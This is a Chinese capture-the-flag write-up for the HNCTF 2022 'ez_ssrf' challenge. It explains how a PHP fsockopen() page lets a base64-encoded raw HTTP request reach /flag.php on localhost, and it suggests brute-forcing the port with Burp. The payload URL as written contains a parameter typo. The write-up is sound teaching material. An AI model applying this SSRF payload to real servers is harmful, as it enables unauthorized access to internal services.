[HNCTF 2022 WEEK2]ez_ssrf

[HNCTF 2022 WEEK2]ez_ssrf

知识点

SSRF注入。

解题

看到index.php界面

 <?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
} 

看到有三个参数可以传入

其中fsockopen()函数

语法
resource fsockopen($hostname,$port,$errno,$errster,$timeout)
host域名,
prot端口
errno当连接失败时输出错误码
errstr连接失败时,引用的变量设置为错误信息
timeout 返回时间,超过时间就返回。

看到fwrite()他将data中的内容传入我们所写的端口号和域名中

再通过循环

while(!feof($data))
    {
        echo fgets($fp,128);
    }

将每一行内容进行输出,每行最多输出128个字符。

我们传入内容。

data中的内容,我们构造一下

GET /flag.php HTTP/1.1\r\n
Host: 127.0.0.1\r\n
Connection: Close\r\n
\r\n

将其base64后传入

?host=127.0.0.1&post=10&R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

不知道端口用bp爆破就行。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

follycat

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值